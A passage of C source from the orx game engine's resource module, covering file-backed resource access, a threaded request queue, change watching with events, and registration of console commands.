orxRESOURCE_OP_FUNCTION pfnCallback; /**< Request completion callback */
void *pContext; /**< Request context */
orxRESOURCE_OPEN_INFO *pstResourceInfo; /**< Request open resource info */
orxRESOURCE_REQUEST_TYPE eType; /**< Request type */
} orxRESOURCE_REQUEST;
/** Static structure
*/
typedef struct __orxRESOURCE_STATIC_t
{
orxBANK *pstGroupBank; /**< Group bank */
orxBANK *pstTypeBank; /**< Type info bank */
orxBANK *pstResourceInfoBank; /**< Resource info bank */
orxBANK *pstOpenInfoBank; /**< Open resource table size */
orxTHREAD_SEMAPHORE* pstRequestSemaphore; /**< Request semaphore */
orxTHREAD_SEMAPHORE* pstWorkerSemaphore; /**< Worker semaphore */
orxLINKLIST stTypeList; /**< Type list */
orxSTRING zLastUncachedLocation; /**< Last uncached location */
orxSTRINGID stLastWatchedGroupID; /**< Last watched group ID */
volatile orxSTATUS eThreadResult; /**< Thread result */
orxCHAR acFileLocationBuffer[orxRESOURCE_KU32_BUFFER_SIZE]; /**< File location buffer size */
volatile orxRESOURCE_REQUEST astRequestList[orxRESOURCE_KU32_REQUEST_LIST_SIZE]; /**< Request list */
volatile orxU32 u32RequestInIndex; /**< Request in index */
volatile orxU32 u32RequestProcessIndex; /**< Request process index */
volatile orxU32 u32RequestOutIndex; /**< Request out index */
orxU32 u32RequestThreadID; /**< Request thread ID */
orxU32 u32Flags; /**< Control flags */
} orxRESOURCE_STATIC;
/***************************************************************************
* Static variables *
***************************************************************************/
/** Static data
*/
static orxRESOURCE_STATIC sstResource;
/***************************************************************************
* Private functions *
***************************************************************************/
static const orxSTRING orxFASTCALL orxResource_File_Locate(const orxSTRING _zGroup, const orxSTRING _zStorage, const orxSTRING _zName, orxBOOL _bRequireExistence)
{
orxFILE_INFO stInfo;
const orxSTRING zResult = orxNULL;
/* Default storage? */
if(orxString_Compare(_zStorage, orxRESOURCE_KZ_DEFAULT_STORAGE) == 0)
{
/* Uses name as path */
orxString_NPrint(sstResource.acFileLocationBuffer, sizeof(sstResource.acFileLocationBuffer), "%s", _zName);
}
else
{
/* Composes full name */
orxString_NPrint(sstResource.acFileLocationBuffer, sizeof(sstResource.acFileLocationBuffer), "%s%c%s", _zStorage, orxCHAR_DIRECTORY_SEPARATOR_LINUX, _zName);
}
/* Exists or doesn't require existence? */
if((_bRequireExistence == orxFALSE)
|| ((orxFile_GetInfo(sstResource.acFileLocationBuffer, &stInfo) != orxSTATUS_FAILURE)
&& !orxFLAG_TEST(stInfo.u32Flags, orxFILE_KU32_FLAG_INFO_DIRECTORY)))
{
/* Updates result */
zResult = sstResource.acFileLocationBuffer;
}
/* Done! */
return zResult;
}
static orxHANDLE orxFASTCALL orxResource_File_Open(const orxSTRING _zLocation, orxBOOL _bEraseMode)
{
orxFILE *pstFile;
orxHANDLE hResult;
/* Opens file */
pstFile = orxFile_Open(_zLocation, (_bEraseMode != orxFALSE) ? orxFILE_KU32_FLAG_OPEN_WRITE | orxFILE_KU32_FLAG_OPEN_BINARY : orxFILE_KU32_FLAG_OPEN_READ | orxFILE_KU32_FLAG_OPEN_WRITE | orxFILE_KU32_FLAG_OPEN_BINARY);
/* Not in erase mode and couldn't open it? */
if((_bEraseMode == orxFALSE) && (pstFile == orxNULL))
{
/* Opens it in read-only mode */
pstFile = orxFile_Open(_zLocation, orxFILE_KU32_FLAG_OPEN_READ | orxFILE_KU32_FLAG_OPEN_BINARY);
}
/* Updates result */
hResult = (pstFile != orxNULL) ? (orxHANDLE)pstFile : orxHANDLE_UNDEFINED;
/* Done! */
return hResult;
}
static void orxFASTCALL orxResource_File_Close(orxHANDLE _hResource)
{
orxFILE *pstFile;
/* Gets file */
pstFile = (orxFILE *)_hResource;
/* Closes it */
orxFile_Close(pstFile);
/* Done! */
return;
}
static orxS64 orxFASTCALL orxResource_File_GetSize(orxHANDLE _hResource)
{
orxFILE *pstFile;
orxS64 s64Result;
/* Gets file */
pstFile = (orxFILE *)_hResource;
/* Updates result */
s64Result = orxFile_GetSize(pstFile);
/* Done! */
return s64Result;
}
static orxS64 orxFASTCALL orxResource_File_GetTime(const orxSTRING _zLocation)
{
orxFILE_INFO stFileInfo;
orxS64 s64Result;
/* Gets file info */
if(orxFile_GetInfo(_zLocation, &stFileInfo) != orxSTATUS_FAILURE)
{
/* Updates result */
s64Result = stFileInfo.s64TimeStamp;
}
else
{
/* Updates result */
s64Result = 0;
}
/* Done! */
return s64Result;
}
static orxS64 orxFASTCALL orxResource_File_Seek(orxHANDLE _hResource, orxS64 _s64Offset, orxSEEK_OFFSET_WHENCE _eWhence)
{
orxFILE *pstFile;
orxS64 s64Result;
/* Gets file */
pstFile = (orxFILE *)_hResource;
/* Updates result */
s64Result = orxFile_Seek(pstFile, _s64Offset, _eWhence);
/* Done! */
return s64Result;
}
static orxS64 orxFASTCALL orxResource_File_Tell(orxHANDLE _hResource)
{
orxFILE *pstFile;
orxS64 s64Result;
/* Gets file */
pstFile = (orxFILE *)_hResource;
/* Updates result */
s64Result = orxFile_Tell(pstFile);
/* Done! */
return s64Result;
}
static orxS64 orxFASTCALL orxResource_File_Read(orxHANDLE _hResource, orxS64 _s64Size, void *_pBuffer)
{
orxFILE *pstFile;
orxS64 s64Result;
/* Gets file */
pstFile = (orxFILE *)_hResource;
/* Updates result */
s64Result = orxFile_Read(_pBuffer, sizeof(orxCHAR), _s64Size, pstFile);
/* Done! */
return s64Result;
}
static orxS64 orxFASTCALL orxResource_File_Write(orxHANDLE _hResource, orxS64 _s64Size, const void *_pBuffer)
{
orxFILE *pstFile;
orxS64 s64Result;
/* Gets file */
pstFile = (orxFILE *)_hResource;
/* Updates result */
s64Result = orxFile_Write(_pBuffer, sizeof(orxCHAR), _s64Size, pstFile);
/* Done! */
return s64Result;
}
static orxSTATUS orxFASTCALL orxResource_File_Delete(const orxSTRING _zLocation)
{
orxSTATUS eResult;
/* Deletes file */
eResult = orxFile_Delete(_zLocation);
/* Done! */
return eResult;
}
static orxINLINE void orxResource_DeleteGroup(orxRESOURCE_GROUP *_pstGroup)
{
orxRESOURCE_INFO *pstResourceInfo;
orxHANDLE hIterator;
/* For all cached resources */
for(hIterator = orxHashTable_GetNext(_pstGroup->pstCacheTable, orxHANDLE_UNDEFINED, orxNULL, (void **)&pstResourceInfo);
hIterator != orxHANDLE_UNDEFINED;
hIterator = orxHashTable_GetNext(_pstGroup->pstCacheTable, hIterator, orxNULL, (void **)&pstResourceInfo))
{
/* Deletes its location */
orxMemory_Free(pstResourceInfo->zLocation);
/* Frees it */
orxBank_Free(sstResource.pstResourceInfoBank, pstResourceInfo);
}
/* Deletes cache table */
orxHashTable_Delete(_pstGroup->pstCacheTable);
/* Deletes storage bank */
orxBank_Delete(_pstGroup->pstStorageBank);
/* Deletes it */
orxBank_Free(sstResource.pstGroupBank, _pstGroup);
/* Done! */
return;
}
static orxINLINE orxRESOURCE_GROUP *orxResource_CreateGroup(orxSTRINGID _stGroupID)
{
orxRESOURCE_GROUP *pstResult;
/* Creates group */
pstResult = (orxRESOURCE_GROUP *)orxBank_Allocate(sstResource.pstGroupBank);
/* Success? */
if(pstResult != orxNULL)
{
orxRESOURCE_STORAGE *pstStorage;
/* Inits it */
pstResult->stID = _stGroupID;
pstResult->pstStorageBank = orxBank_Create(orxRESOURCE_KU32_STORAGE_BANK_SIZE, sizeof(orxRESOURCE_STORAGE), orxBANK_KU32_FLAG_NONE, orxMEMORY_TYPE_MAIN);
pstResult->pstCacheTable = orxHashTable_Create(orxRESOURCE_KU32_CACHE_TABLE_SIZE, orxHASHTABLE_KU32_FLAG_NONE, orxMEMORY_TYPE_MAIN);
orxMemory_Zero(&(pstResult->stStorageList), sizeof(orxLINKLIST));
/* Creates storage */
pstStorage = (orxRESOURCE_STORAGE *)orxBank_Allocate(pstResult->pstStorageBank);
/* Success? */
if(pstStorage != orxNULL)
{
/* Stores its content */
pstStorage->stID = orxString_GetID(orxRESOURCE_KZ_DEFAULT_STORAGE);
/* Clears node */
orxMemory_Zero(&(pstStorage->stNode), sizeof(orxLINKLIST_NODE));
/* Adds it first */
orxLinkList_AddStart(&(pstResult->stStorageList), &(pstStorage->stNode));
}
else
{
/* Deletes it */
orxResource_DeleteGroup(pstResult);
/* Updates result */
pstResult = orxNULL;
}
}
/* Done! */
return pstResult;
}
static orxINLINE orxRESOURCE_GROUP *orxResource_FindGroup(orxSTRINGID _stGroupID)
{
orxRESOURCE_GROUP *pstResult;
/* Gets group */
for(pstResult = (orxRESOURCE_GROUP *)orxBank_GetNext(sstResource.pstGroupBank, orxNULL);
(pstResult != orxNULL) && (pstResult->stID != _stGroupID);
pstResult = (orxRESOURCE_GROUP *)orxBank_GetNext(sstResource.pstGroupBank, pstResult))
;
/* Done! */
return pstResult;
}
static void orxFASTCALL orxResource_NotifyRequest(const orxCLOCK_INFO *_pstClockInfo, void *_pContext)
{
/* Profiles */
orxPROFILER_PUSH_MARKER("orxResource_NotifyRequest");
/* While there are processed requests */
while(sstResource.u32RequestOutIndex != sstResource.u32RequestProcessIndex)
{
volatile orxRESOURCE_REQUEST *pstRequest;
/* Gets request */
pstRequest = &(sstResource.astRequestList[sstResource.u32RequestOutIndex]);
/* Decrements operation count */
if(pstRequest->pstResourceInfo != orxNULL)
{
pstRequest->pstResourceInfo->u32OpCount--;
}
/* Has callback? */
if(pstRequest->pfnCallback != orxNULL)
{
/* Notifies it */
pstRequest->pfnCallback((orxHANDLE)pstRequest->pstResourceInfo, pstRequest->s64Size, pstRequest->pBuffer, pstRequest->pContext);
}
/* Updates request out index */
orxMEMORY_BARRIER();
sstResource.u32RequestOutIndex = (sstResource.u32RequestOutIndex + 1) & (orxRESOURCE_KU32_REQUEST_LIST_SIZE - 1);
}
/* Profiles */
orxPROFILER_POP_MARKER();
/* Done! */
return;
}
static orxSTATUS orxFASTCALL orxResource_ProcessRequests(void *_pContext)
{
orxSTATUS eResult;
/* Waits for worker semaphore */
orxThread_WaitSemaphore(sstResource.pstWorkerSemaphore);
/* Profiles */
orxPROFILER_PUSH_MARKER("orxResource_ProcessRequests");
/* While there are pending requests */
while(sstResource.u32RequestProcessIndex != sstResource.u32RequestInIndex)
{
volatile orxRESOURCE_REQUEST *pstRequest;
/* Gets request */
pstRequest = &(sstResource.astRequestList[sstResource.u32RequestProcessIndex]);
/* Depending on request type */
switch(pstRequest->eType)
{
case orxRESOURCE_REQUEST_TYPE_READ:
{
/* Services it */
pstRequest->s64Size = pstRequest->pstResourceInfo->pstTypeInfo->pfnRead(pstRequest->pstResourceInfo->hResource, pstRequest->s64Size, pstRequest->pBuffer);
break;
}
case orxRESOURCE_REQUEST_TYPE_WRITE:
{
/* Services it */
pstRequest->s64Size = pstRequest->pstResourceInfo->pstTypeInfo->pfnWrite(pstRequest->pstResourceInfo->hResource, pstRequest->s64Size, pstRequest->pBuffer);
break;
}
case orxRESOURCE_REQUEST_TYPE_CLOSE:
{
/* Services it */
pstRequest->pstResourceInfo->pstTypeInfo->pfnClose(pstRequest->pstResourceInfo->hResource);
/* Deletes location */
orxString_Delete(pstRequest->pstResourceInfo->zLocation);
/* Frees open info */
orxBank_Free(sstResource.pstOpenInfoBank, pstRequest->pstResourceInfo);
pstRequest->pstResourceInfo = orxNULL;
break;
}
case orxRESOURCE_REQUEST_TYPE_GET_TIME:
{
orxRESOURCE_INFO *pstResourceInfo;
/* Gets resource info */
pstResourceInfo = (orxRESOURCE_INFO *)pstRequest->pContext;
/* Gets its modification time (cheating for the storage) */
pstRequest->s64Size = pstResourceInfo->pstTypeInfo->pfnGetTime(pstResourceInfo->zLocation + orxString_GetLength(pstResourceInfo->pstTypeInfo->zTag) + 1);
/* Updates its status */
pstResourceInfo->bPendingWatch = orxFALSE;
break;
}
default:
{
break;
}
}
/* Updates request process index */
orxMEMORY_BARRIER();
sstResource.u32RequestProcessIndex = (sstResource.u32RequestProcessIndex + 1) & (orxRESOURCE_KU32_REQUEST_LIST_SIZE - 1);
}
/* Profiles */
orxPROFILER_POP_MARKER();
/* Updates result */
eResult = sstResource.eThreadResult;
/* Done! */
return eResult;
}
static void orxResource_AddRequest(orxRESOURCE_REQUEST_TYPE _eType, orxS64 _s64Size, void *_pBuffer, orxRESOURCE_OP_FUNCTION _pfnCallback, void *_pContext, orxRESOURCE_OPEN_INFO *_pstResourceInfo)
{
orxU32 u32NextRequestIndex;
orxBOOL bAdd = orxTRUE;
/* Checks */
orxASSERT(orxThread_GetCurrent() == orxTHREAD_KU32_MAIN_THREAD_ID);
/* Waits for semaphore */
orxThread_WaitSemaphore(sstResource.pstRequestSemaphore);
/* Gets next request index */
u32NextRequestIndex = (sstResource.u32RequestInIndex + 1) & (orxRESOURCE_KU32_REQUEST_LIST_SIZE - 1);
/* Time request? */
if(_eType == orxRESOURCE_REQUEST_TYPE_GET_TIME)
{
orxU32 u32InIndex, u32ProcessIndex, u32FreeSlots;
/* Gets indices */
u32InIndex = sstResource.u32RequestInIndex;
u32ProcessIndex = sstResource.u32RequestProcessIndex;
/* Gets number of free slots */
u32FreeSlots = (u32InIndex >= u32ProcessIndex) ? orxRESOURCE_KU32_REQUEST_LIST_SIZE - u32InIndex + u32ProcessIndex : u32ProcessIndex - u32InIndex;
/* More than a quarter of the slots are free? */
if(u32FreeSlots >= orxRESOURCE_KU32_REQUEST_LIST_SIZE / 4)
{
/* Process addition */
bAdd = orxTRUE;
}
else
{
/* Drops request */
bAdd = orxFALSE;
}
}
else
{
/* Waits for a free slot */
while(u32NextRequestIndex == sstResource.u32RequestOutIndex)
{
/* Main thread? */
if(orxThread_GetCurrent() == orxTHREAD_KU32_MAIN_THREAD_ID)
{
/* Manually pumps some request notifications */
orxResource_NotifyRequest(orxNULL, orxNULL);
}
}
/* Process addition */
bAdd = orxTRUE;
}
/* Should add request? */
if(bAdd != orxFALSE)
{
volatile orxRESOURCE_REQUEST *pstRequest;
/* Gets current request */
pstRequest = &(sstResource.astRequestList[sstResource.u32RequestInIndex]);
/* Inits it */
if(_pstResourceInfo != orxNULL)
{
_pstResourceInfo->u32OpCount++;
}
pstRequest->s64Size = _s64Size;
pstRequest->pBuffer = _pBuffer;
pstRequest->pfnCallback = _pfnCallback;
pstRequest->pContext = _pContext;
pstRequest->pstResourceInfo = _pstResourceInfo;
pstRequest->eType = _eType;
/* Commits request */
orxMEMORY_BARRIER();
sstResource.u32RequestInIndex = u32NextRequestIndex;
/* Signals worker semaphore */
orxThread_SignalSemaphore(sstResource.pstWorkerSemaphore);
}
/* Signals semaphore */
orxThread_SignalSemaphore(sstResource.pstRequestSemaphore);
}
static void orxFASTCALL orxResource_NotifyUpdateChange(const orxCLOCK_INFO *_pstClockInfo, void *_pContext)
{
orxRESOURCE_INFO *pstResourceInfo;
orxRESOURCE_EVENT_PAYLOAD stPayload;
/* Gets resource info */
pstResourceInfo = (orxRESOURCE_INFO *)_pContext;
/* Clears payload */
orxMemory_Zero(&stPayload, sizeof(orxRESOURCE_EVENT_PAYLOAD));
/* Inits payload */
stPayload.s64Time = pstResourceInfo->s64Time;
stPayload.zLocation = pstResourceInfo->zLocation;
stPayload.pstTypeInfo = pstResourceInfo->pstTypeInfo;
stPayload.stGroupID = pstResourceInfo->stGroupID;
stPayload.stStorageID = pstResourceInfo->stStorageID;
stPayload.stNameID = pstResourceInfo->stNameID;
/* Sends event */
orxEVENT_SEND(orxEVENT_TYPE_RESOURCE, orxRESOURCE_EVENT_UPDATE, orxNULL, orxNULL, &stPayload);
}
static void orxFASTCALL orxResource_NotifyChange(orxHANDLE _hResource, orxS64 _s64Size, void *_pBuffer, void *_pContext)
{
orxRESOURCE_INFO *pstResourceInfo;
/* Gets resource info */
pstResourceInfo = (orxRESOURCE_INFO *)_pContext;
/* Has been modified since last access (using cheat storage)? */
if(_s64Size != pstResourceInfo->s64Time)
{
/* Not first inspection? */
if(pstResourceInfo->s64Time != orxRESOURCE_KU32_WATCH_TIME_UNINITIALIZED)
{
/* Removed or added? */
if((_s64Size == 0) || (pstResourceInfo->s64Time == 0))
{
orxRESOURCE_EVENT_PAYLOAD stPayload;
/* Stores its new modification time */
pstResourceInfo->s64Time = _s64Size;
/* Clears payload */
orxMemory_Zero(&stPayload, sizeof(orxRESOURCE_EVENT_PAYLOAD));
/* Inits payload */
stPayload.s64Time = _s64Size;
stPayload.zLocation = pstResourceInfo->zLocation;
stPayload.pstTypeInfo = pstResourceInfo->pstTypeInfo;
stPayload.stGroupID = pstResourceInfo->stGroupID;
stPayload.stStorageID = pstResourceInfo->stStorageID;
stPayload.stNameID = pstResourceInfo->stNameID;
/* Removed? */
if(_s64Size == 0)
{
/* Sends event */
orxEVENT_SEND(orxEVENT_TYPE_RESOURCE, orxRESOURCE_EVENT_REMOVE, orxNULL, orxNULL, &stPayload);
}
/* Added */
else
{
/* Sends event */
orxEVENT_SEND(orxEVENT_TYPE_RESOURCE, orxRESOURCE_EVENT_ADD, orxNULL, orxNULL, &stPayload);
}
}
else
{
/* Stores its new modification time */
pstResourceInfo->s64Time = _s64Size;
/* Removes potential pending update notification */
orxClock_RemoveGlobalTimer(orxResource_NotifyUpdateChange, orxRESOURCE_KF_WATCH_NOTIFICATION_DELAY, _pContext);
/* Defers update notification to cope with potential slow external resource writes */
orxClock_AddGlobalTimer(orxResource_NotifyUpdateChange, orxRESOURCE_KF_WATCH_NOTIFICATION_DELAY, 1, _pContext);
}
}
else
{
/* Stores its new modification time */
pstResourceInfo->s64Time = _s64Size;
}
}
/* Done! */
return;
}
static void orxFASTCALL orxResource_Watch(const orxCLOCK_INFO *_pstClockInfo, void *_pContext)
{
static orxS32 ss32GroupIndex = 0;
orxS32 s32ListCount;
orxU32 u32WatchCount = 0;
orxBOOL bAbort = orxFALSE;
/* Profiles */
orxPROFILER_PUSH_MARKER("orxResource_Watch");
/* Pushes config section */
orxConfig_PushSection(orxRESOURCE_KZ_CONFIG_SECTION);
/* For all watched groups */
for(s32ListCount = orxConfig_GetListCount(orxRESOURCE_KZ_CONFIG_WATCH_LIST); ss32GroupIndex < s32ListCount; ss32GroupIndex++)
{
orxRESOURCE_GROUP *pstGroup;
orxSTRINGID stGroupID;
/* Gets its ID */
stGroupID = orxString_Hash(orxConfig_GetListString(orxRESOURCE_KZ_CONFIG_WATCH_LIST, ss32GroupIndex));
/* Gets group */
pstGroup = orxResource_FindGroup(stGroupID);
/* Found? */
if(pstGroup != orxNULL)
{
static orxHANDLE shIterator;
orxRESOURCE_INFO *pstResourceInfo;
/* New group? */
if(stGroupID != sstResource.stLastWatchedGroupID)
{
/* Resets iterator */
shIterator = orxHANDLE_UNDEFINED;
/* Stores group ID */
sstResource.stLastWatchedGroupID = stGroupID;
}
/* For all its cached resources */
for(shIterator = orxHashTable_GetNext(pstGroup->pstCacheTable, shIterator, orxNULL, (void **)&pstResourceInfo);
shIterator != orxHANDLE_UNDEFINED;
shIterator = orxHashTable_GetNext(pstGroup->pstCacheTable, shIterator, orxNULL, (void **)&pstResourceInfo))
{
/* Does its type support time? */
if(pstResourceInfo->pstTypeInfo->pfnGetTime != orxNULL)
{
/* Not already queued? */
if(pstResourceInfo->bPendingWatch == orxFALSE)
{
/* Updates its status */
pstResourceInfo->bPendingWatch = orxTRUE;
/* Adds request */
orxResource_AddRequest(orxRESOURCE_REQUEST_TYPE_GET_TIME, 0, orxNULL, &orxResource_NotifyChange, pstResourceInfo, orxNULL);
}
/* Updates watch count */
u32WatchCount++;
/* Reached limit? */
if(u32WatchCount >= orxRESOURCE_KU32_WATCH_ITERATION_LIMIT)
{
/* Aborts */
bAbort = orxTRUE;
break;
}
}
}
/* Abort? */
if(bAbort != orxFALSE)
{
/* Stops */
break;
}
}
}
/* Watched all resources? */
if(ss32GroupIndex >= s32ListCount)
{
/* Reset */
ss32GroupIndex = 0;
}
/* Profiles */
orxPROFILER_POP_MARKER();
/* Pops config section */
orxConfig_PopSection();
/* Done! */
return;
}
static void orxResource_UpdatePostInit()
{
/* Isn't request notification callback set? */
if(!orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_NOTIFY_SET))
{
/* Is clock module initialized? */
if(orxModule_IsInitialized(orxMODULE_ID_CLOCK) != orxFALSE)
{
orxSTATUS eResult;
/* Registers request notification callback */
eResult = orxClock_Register(orxClock_Get(orxCLOCK_KZ_CORE), orxResource_NotifyRequest, orxNULL, orxMODULE_ID_RESOURCE, orxCLOCK_PRIORITY_LOWEST);
/* Checks */
orxASSERT(eResult != orxSTATUS_FAILURE);
/* Updates flags */
orxFLAG_SET(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_NOTIFY_SET, orxRESOURCE_KU32_STATIC_FLAG_NONE);
}
}
/* Isn't config already loaded? */
if(!orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_CONFIG_LOADED))
{
/* Reloads storage */
orxResource_ReloadStorage();
}
/* Is config loaded now? */
if(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_CONFIG_LOADED))
{
/* Watch not already set? */
if(!orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_WATCH_SET))
{
/* Is clock module initialized? */
if(orxModule_IsInitialized(orxMODULE_ID_CLOCK) != orxFALSE)
{
orxBOOL bDebugLevelBackup;
/* Enables config logs */
bDebugLevelBackup = orxDEBUG_IS_LEVEL_ENABLED(orxDEBUG_LEVEL_CONFIG);
orxDEBUG_ENABLE_LEVEL(orxDEBUG_LEVEL_CONFIG, orxTRUE);
/* Pushes resource config section */
orxConfig_PushSection(orxRESOURCE_KZ_CONFIG_SECTION);
/* Has watch list? */
if(orxConfig_HasValue(orxRESOURCE_KZ_CONFIG_WATCH_LIST) != orxFALSE)
{
/* Registers watch callbacks */
orxClock_Register(orxClock_Get(orxCLOCK_KZ_CORE), orxResource_Watch, orxNULL, orxMODULE_ID_RESOURCE, orxCLOCK_PRIORITY_LOWEST);
/* Updates flags */
orxFLAG_SET(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_WATCH_REGISTERED, orxRESOURCE_KU32_STATIC_FLAG_NONE);
}
/* Pops config section */
orxConfig_PopSection();
/* Restores config logs */
orxDEBUG_ENABLE_LEVEL(orxDEBUG_LEVEL_CONFIG, bDebugLevelBackup);
/* Updates flags */
orxFLAG_SET(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_WATCH_SET, orxRESOURCE_KU32_STATIC_FLAG_NONE);
}
}
}
}
/** Command: AddStorage
*/
void orxFASTCALL orxResource_CommandAddStorage(orxU32 _u32ArgNumber, const orxCOMMAND_VAR *_astArgList, orxCOMMAND_VAR *_pstResult)
{
/* Updates result */
_pstResult->bValue = (orxResource_AddStorage(_astArgList[0].zValue, _astArgList[1].zValue, ((_u32ArgNumber < 3) || (_astArgList[2].bValue == orxFALSE)) ? orxFALSE : orxTRUE) != orxSTATUS_FAILURE) ? orxTRUE : orxFALSE;
/* Done! */
return;
}
/** Command: RemoveStorage
*/
void orxFASTCALL orxResource_CommandRemoveStorage(orxU32 _u32ArgNumber, const orxCOMMAND_VAR *_astArgList, orxCOMMAND_VAR *_pstResult)
{
/* Updates result */
_pstResult->bValue = (orxResource_RemoveStorage((_u32ArgNumber > 0) ? _astArgList[0].zValue : orxNULL, (_u32ArgNumber > 1) ? _astArgList[1].zValue : orxNULL) != orxSTATUS_FAILURE) ? orxTRUE : orxFALSE;
/* Done! */
return;
}
/** Command: ReloadStorage
*/
void orxFASTCALL orxResource_CommandReloadStorage(orxU32 _u32ArgNumber, const orxCOMMAND_VAR *_astArgList, orxCOMMAND_VAR *_pstResult)
{
/* Updates result */
_pstResult->bValue = (orxResource_ReloadStorage() != orxSTATUS_FAILURE) ? orxTRUE : orxFALSE;
/* Done! */
return;
}
/** Command: Locate
*/
void orxFASTCALL orxResource_CommandLocate(orxU32 _u32ArgNumber, const orxCOMMAND_VAR *_astArgList, orxCOMMAND_VAR *_pstResult)
{
/* Has given storage? */
if(_u32ArgNumber > 2)
{
/* Updates result */
_pstResult->zValue = orxResource_LocateInStorage(_astArgList[0].zValue, _astArgList[2].zValue, _astArgList[1].zValue);
}
else
{
/* Updates result */
_pstResult->zValue = orxResource_Locate(_astArgList[0].zValue, _astArgList[1].zValue);
}
/* Not found? */
if(_pstResult->zValue == orxNULL)
{
/* Updates result */
_pstResult->zValue = orxSTRING_EMPTY;
}
/* Done! */
return;
}
/** Command: GetPath
*/
void orxFASTCALL orxResource_CommandGetPath(orxU32 _u32ArgNumber, const orxCOMMAND_VAR *_astArgList, orxCOMMAND_VAR *_pstResult)
{
/* Updates result */
_pstResult->zValue = orxResource_GetPath(_astArgList[0].zValue);
/* Done! */
return;
}
/** Command: GetTotalPendingOpCount
*/
void orxFASTCALL orxResource_CommandGetTotalPendingOpCount(orxU32 _u32ArgNumber, const orxCOMMAND_VAR *_astArgList, orxCOMMAND_VAR *_pstResult)
{
/* Updates result */
_pstResult->u32Value = orxResource_GetTotalPendingOpCount();
/* Done! */
return;
}
/** Command: Sync
*/
void orxFASTCALL orxResource_CommandSync(orxU32 _u32ArgNumber, const orxCOMMAND_VAR *_astArgList, orxCOMMAND_VAR *_pstResult)
{
/* Updates result */
_pstResult->bValue = (orxResource_Sync((_u32ArgNumber > 0) ? _astArgList[0].zValue : orxNULL) != orxSTATUS_FAILURE) ? orxTRUE : orxFALSE;
/* Done! */
return;
}
/** Command: ClearCache
*/
void orxFASTCALL orxResource_CommandClearCache(orxU32 _u32ArgNumber, const orxCOMMAND_VAR *_astArgList, orxCOMMAND_VAR *_pstResult)
{
/* Updates result */
_pstResult->bValue = (orxResource_ClearCache((_u32ArgNumber > 0) ? _astArgList[0].zValue : orxNULL) != orxSTATUS_FAILURE) ? orxTRUE : orxFALSE;
/* Done! */
return;
}
/** Registers all the resource commands
*/
static orxINLINE void orxResource_RegisterCommands()
{
/* Command: AddStorage */
orxCOMMAND_REGISTER_CORE_COMMAND(Resource, AddStorage, "Success?", orxCOMMAND_VAR_TYPE_BOOL, 2, 1, {"Group", orxCOMMAND_VAR_TYPE_STRING}, {"Storage", orxCOMMAND_VAR_TYPE_STRING}, {"First = false", orxCOMMAND_VAR_TYPE_BOOL});
/* Command: RemoveStorage */
orxCOMMAND_REGISTER_CORE_COMMAND(Resource, RemoveStorage, "Success?", orxCOMMAND_VAR_TYPE_BOOL, 0, 2, {"Group = <void>", orxCOMMAND_VAR_TYPE_STRING}, {"Storage = <void>", orxCOMMAND_VAR_TYPE_STRING});
/* Command: ReloadStorage */
orxCOMMAND_REGISTER_CORE_COMMAND(Resource, ReloadStorage, "Success?", orxCOMMAND_VAR_TYPE_BOOL, 0, 0);
/* Command: Locate */
orxCOMMAND_REGISTER_CORE_COMMAND(Resource, Locate, "Location", orxCOMMAND_VAR_TYPE_STRING, 2, 1, {"Group", orxCOMMAND_VAR_TYPE_STRING}, {"Name", orxCOMMAND_VAR_TYPE_STRING}, {"Storage = <all>", orxCOMMAND_VAR_TYPE_STRING});
/* Command: GetPath */
orxCOMMAND_REGISTER_CORE_COMMAND(Resource, GetPath, "Path", orxCOMMAND_VAR_TYPE_STRING, 1, 0, {"Location", orxCOMMAND_VAR_TYPE_STRING});
/* Command: GetTotalPendingOpCount */
orxCOMMAND_REGISTER_CORE_COMMAND(Resource, GetTotalPendingOpCount, "Count", orxCOMMAND_VAR_TYPE_U32, 0, 0);
/* Command: Sync */
orxCOMMAND_REGISTER_CORE_COMMAND(Resource, Sync, "Success?", orxCOMMAND_VAR_TYPE_BOOL, 0, 1, {"Group = <void>", orxCOMMAND_VAR_TYPE_STRING});
/* Command: ClearCache */
orxCOMMAND_REGISTER_CORE_COMMAND(Resource, ClearCache, "Success?", orxCOMMAND_VAR_TYPE_BOOL, 0, 1, {"Group = <void>", orxCOMMAND_VAR_TYPE_STRING});
}
/** Unregisters all the resource commands
*/
static orxINLINE void orxResource_UnregisterCommands()
{
/* Command: AddStorage */
orxCOMMAND_UNREGISTER_CORE_COMMAND(Resource, AddStorage);
/* Command: RemoveStorage */
orxCOMMAND_UNREGISTER_CORE_COMMAND(Resource, RemoveStorage);
/* Command: ReloadStorage */
orxCOMMAND_UNREGISTER_CORE_COMMAND(Resource, ReloadStorage);
/* Command: Locate */
orxCOMMAND_UNREGISTER_CORE_COMMAND(Resource, Locate);
/* Command: GetPath */
orxCOMMAND_UNREGISTER_CORE_COMMAND(Resource, GetPath);
/* Command: GetTotalPendingOpCount */
orxCOMMAND_UNREGISTER_CORE_COMMAND(Resource, GetTotalPendingOpCount);
/* Command: Sync */
orxCOMMAND_UNREGISTER_CORE_COMMAND(Resource, Sync);
/* Command: ClearCache */
orxCOMMAND_UNREGISTER_CORE_COMMAND(Resource, ClearCache);
}
/***************************************************************************
* Public functions *
***************************************************************************/
/** Resource module setup
*/
void orxFASTCALL orxResource_Setup()
{
/* Adds module dependencies */
orxModule_AddDependency(orxMODULE_ID_RESOURCE, orxMODULE_ID_MEMORY);
orxModule_AddDependency(orxMODULE_ID_RESOURCE, orxMODULE_ID_BANK);
orxModule_AddDependency(orxMODULE_ID_RESOURCE, orxMODULE_ID_THREAD);
orxModule_AddDependency(orxMODULE_ID_RESOURCE, orxMODULE_ID_STRING);
orxModule_AddDependency(orxMODULE_ID_RESOURCE, orxMODULE_ID_EVENT);
orxModule_AddDependency(orxMODULE_ID_RESOURCE, orxMODULE_ID_FILE);
orxModule_AddDependency(orxMODULE_ID_RESOURCE, orxMODULE_ID_PROFILER);
orxModule_AddDependency(orxMODULE_ID_RESOURCE, orxMODULE_ID_COMMAND);
/* Done! */
return;
}
/** Inits resource module
* @return orxSTATUS_SUCCESS / orxSTATUS_FAILURE
*/
orxSTATUS orxFASTCALL orxResource_Init()
